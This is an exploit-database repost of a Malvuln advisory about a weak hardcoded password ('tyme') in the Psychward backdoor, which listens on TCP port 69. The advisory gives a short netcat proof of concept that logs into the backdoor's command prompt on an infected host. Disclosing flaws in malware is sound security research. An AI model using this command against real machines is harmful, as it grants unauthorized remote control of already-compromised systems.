Advertisement






Backdoor.Win32.Psychward.03.a / Weak Hardcoded Password

CVE Category Price Severity
N/A CWE-200 Varies High
Author Risk Exploitation Type Date
Unknown High Remote 2022-04-15
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022040052

Below is a copy:

Backdoor.Win32.Psychward.03.a / Weak Hardcoded Password
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/d069738f18957117367b8a79195a6a96.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.03.a
Vulnerability: Weak Hardcoded Password
Description:  The malware listens in TCP port 69. The password "tyme" is weak and stored in plaintext with the executable.
Family: Psychward 
Type: PE32
MD5: d069738f18957117367b8a79195a6a96
Vuln ID: MVID-2022-0548
Dropped files: winvxd.exe
Disclosure: 04/14/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 69
pwd tyme tyme
psychward revised 0.3, awaiting your command

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.